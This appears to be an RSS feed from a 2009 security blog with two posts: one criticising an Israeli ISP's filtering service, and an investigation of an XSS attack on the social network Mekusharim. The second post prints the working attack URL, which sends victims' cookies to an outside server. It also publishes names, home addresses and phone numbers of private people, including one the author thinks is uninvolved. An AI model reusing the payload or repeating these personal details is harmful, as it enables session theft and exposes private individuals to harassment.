Recognize-Security » Articles http://www.rec-sec.com a non-profit information security web site authored by Moshe Ben Abu (Trancer), focusing on vulnerability research, exploit development (mainly for the Metasploit Framework), web application security, information security and hacking news from around the world. Tue, 22 Mar 2011 00:09:35 +0000 en hourly 1 Why Bezeq Int SafeNet Service is Useless http://www.rec-sec.com/2009/10/16/bezeq-int-safenet-sucks/ http://www.rec-sec.com/2009/10/16/bezeq-int-safenet-sucks/#comments Fri, 16 Oct 2009 18:37:08 +0000 Trancer http://www.rec-sec.com/?p=781 Bezeq InternationalHello readers. In this post I’d like to talk about Bezeq International SafeNet service. Bezeq Int is the most common ISP in Israel and like most of the ISP‘s out there, Bezeq Int offer their customers a security service called SafeNet, which they recommend users to buy so they could surf the web in a safer manner.

As stated on Bezeq Int SafeNet page (and details), this service cost 13.90 NIS a month and should be some kind of content filtering system, providing users protection from Malware (viruses, worms, trojan horses, spyware), HTML exploits, malicious Activ-X and JAVA code, Fishing web sites and more (note I deliberately misspelled the definitions, that’s how it’s wrote on the SafeNet service specification page).

Well, after running a series of tests I can surly say Bezeq Int SafeNet service provide non of these protections what so ever. In fact, it doesn’t provide any sort of active protection. The only protection SafeNet service provides is blocking supposedly malicious web sites using an out-of-date domain names blacklist.

For example, trying to access Packet Storm Security web site will result in a redirection to a Bezeq Int domain, displaying this SafeNet message:
Bezeq Int SafeNet message
Click to enlarge.

The SafeNet service blacklist doesn’t include milw0rm and other hacking related web sites. I even ran test against active Malware serving pages, Phishing web sites and rouge Anti-Virus sites, non of which have been blocked by Bezeq Int SafeNet service.

Furthermore, the SafeNet service domain blacklist function can be bypassed rather easily. It is possible to access blacklisted domains using their IP addresses:
Packet Storm Security
Click to enlarge.

In conclusion, Bezeq Int SafeNat service provide users no affective protection against any kind of threat and Bezeq Int doesn’t provide their customers any of the promised functions stated on the SafeNet service specification.
In my opinion, Bezeq Int SafeNet service is a total rip-off and if you are registered to it I recommend you’d cancel the service immediately.

]]> http://www.rec-sec.com/2009/10/16/bezeq-int-safenet-sucks/feed/ 10 The Case of a TinyURL in Mekusharim http://www.rec-sec.com/2009/04/30/the-case-of-a-tinyurl-in-mekusharim/ http://www.rec-sec.com/2009/04/30/the-case-of-a-tinyurl-in-mekusharim/#comments Thu, 30 Apr 2009 13:19:29 +0000 Trancer http://www.rec-sec.com/?p=344 MekusharimFirst of all, if you don’t know what Mekusharim is, here’s a little introduction:
Mekusharim is an Israeli social network founded in 2005 by three ambitious guys and currently have more then 1 million registered users. It’s very similar to any standard social network, it have users profile pages, albums, videos, mailing system and articles, pools and forums sections.
Recently Walla! acquired additional 36 percent of Mekusharim in 4.5 million NIS (out of 12.5 million NIS value assessment), giving Walla! a total of 70 percent share holding of Mekusharim.
I’ve had the pleasure of working with the Mekusharim guys on various security issues since 2006, mostly on finding and help fixing web application vulnerabilities.
Like most of the social networks out there, Mekusharim is a great platform for attackers to spread their malware and reach a high amount of users in a short period of time, take Samy of MySpace for example.
The first time I contacted Mekusharim was right after I wrote a proof-of-concept web worm that can spread through the site, infecting users profile pages and stealing user cookies. It was written in two lines of JavaScript code and exploit a Cross-Site Scripting and a Cross-Site Request Forgery vulnerabilities.
But that’s water under the bridge, Mekusharim have switched several systems (PHP -> ASP -> ASP.NET) and is much more secure nowadays. And if someone will try hacking it, I’ll be after the poor bastard :-)

Which brings us to the main subject of this post. Few days ago I got a mail message in Mekusharim from a friend user, that looks like this:
Mekusharim TinyURL message
Click to enlarge.

As you can see, the message subject is “:)” and the message body contains a TinyURL link.
Something smells fishy here… Previewing the link will discover that this is definitely a XSS attack:
TinyURL preview
Click to enlarge.

The TinyURL link redirects to:
http://www.mekusharim.co.il/forums/ForumsList.aspx?Display=1&TagName='\';x=new%20Image();x.src="http://oritor.co.il/cgi-bin/mekusharim.php?cookie="%2Bdocument.cookie;//
Cross-Site Scripting attack on Mekusharim
Click to enlarge.

The URL exploits a XSS vulnerability in the forums system (ForumsList.aspx page, TagName parameter), sending the user cookie to the attacker pre-made page located at oritor.co.il/cgi-bin/mekusharim.php.

The first thing that crossed my mind is getting some information on oritor.co.il domain and his owner. Running a quick whois on the domain reveals a lot of useful information:

domain: oritor.co.il
descr: orit bokobza
descr: ezra 20
descr: rishon leztion
descr: 75515
descr: Israel
phone: +972 50 8836620
e-mail: orit123 AT bezeqint.net
admin-c: LD-OB3906-IL
tech-c: LD-OB3906-IL
zone-c: LD-OB3906-IL
nserver: ns1.xoox.co.il
nserver: ns2.xoox.co.il
validity: 16-12-2009
status: Transfer Locked
changed: domain-registrar AT isoc.org.il 20081216 (Assigned)
person: orit bokobza
address: ezra 20
address: rishon leztion
address: 75515
address: Israel
phone: +972 50 8836620
e-mail: orit123 AT bezeqint.net
nic-hdl: LD-OB3906-IL
changed: domain-registrar AT isoc.org.il 20081216
registrar name: LiveDns Ltd
Registrar info: http://domains.livedns.co.il
% Rights to the data above are restricted by copyright.

The domain oritor.co.il is registered to Orit Bokobza from Ezra 20 street, Rishon Leztion. Orit cellular phone number is 0508836620 (Pelephone) and she registered the domain using her ISP email address, which reveal that she’s registered to Bezeq International ISP under the username orit123. We also see that the site DNS is registered to xoox.co.il NS servers, we’ll get to that later.
Digging deeper using b144.co.il, searching Orit Bokobza from Rishon Leztion gives one identical match (same address and house number), reveal she have another cellular phone number – 0545455382 (Orange):
b144 search
Click to enlarge.

b144 also gives us a map to the house and a picture of the house itself:
b144 map and house picture
Click to enlarge.

Cool.
Digging further, Googling her email address and retrieving additional information from her web site and posts from forums she’s active in reveals that she’s some kind of personal holistic trainer and has master in energetic healing.
At this point I’m quite sure that she’s got nothing to do with this XSS attack on Mekusharim but it’s a good place to start investigating and tracking down the attacker. My guess is that her site is being used by the attacker who compromised the hosting server.
Let’s take a look at what web sites is hosted on the same server using Live Search ip: search feature:
http://search.live.com/results.aspx?q=ip:91.198.129.47

We see that this hosting server also host xoox.co.il which is the same oritor.co.il site DNS provider as resolved from the whois. Something tells me the holistic master got no technical skills at all so xoox.co.il administrator will be a better person to talk to and get additional information about the XSS attack.
Running whois on xoox.co.il:

domain: xoox.co.il
descr: Shlomi Rabia
descr: Agibor Almoni 13
descr: Tel Aviv
descr: 67421
descr: Israel
phone: +972 50 7809313
e-mail: xoox AT bezeqint.net
admin-c: II-SR5955-IL
tech-c: II-SR5955-IL
zone-c: II-SR5955-IL
nserver: ns1.xoox.co.il
nserver: ns10.rehost.co.il
validity: 14-10-2010
status: Transfer Allowed
changed: domain-registrar AT isoc.org.il 20041014 (Assigned)
changed: domain-registrar AT isoc.org.il 20041017 (Changed)
changed: domain-registrar AT isoc.org.il 20041229 (Changed)
changed: domain-registrar AT isoc.org.il 20070510 (Changed)
changed: domain-registrar AT isoc.org.il 20070805 (Changed)
changed: domain-registrar AT isoc.org.il 20070809 (Changed)
changed: domain-registrar AT isoc.org.il 20080731 (Changed)
changed: domain-registrar AT isoc.org.il 20080731 (Changed)
changed: domain-registrar AT isoc.org.il 20080804 (Changed)
changed: domain-registrar AT isoc.org.il 20081026 (Changed)
person: Shlomi Rabia
address: Agibor Almoni 13
address: Tel Aviv
address: 67421
address: Israel
e-mail: xoox AT bezeqint.net
nic-hdl: II-SR5955-IL
changed: domain-registrar AT isoc.org.il 20041014
registrar name: Israel Internet Association ISOC-IL
Registrar info: www.isoc.org.il
% Rights to the data above are restricted by copyright.

This provide enough information for the right person to contact and conduct further investigation.

I gave all this information to the Mekusharim guys few hours after the attack started, hope this is enough information they need to stop the attack as soon as possible. Meanwhile, the XSS vulnerability got fixed.

]]> http://www.rec-sec.com/2009/04/30/the-case-of-a-tinyurl-in-mekusharim/feed/ 2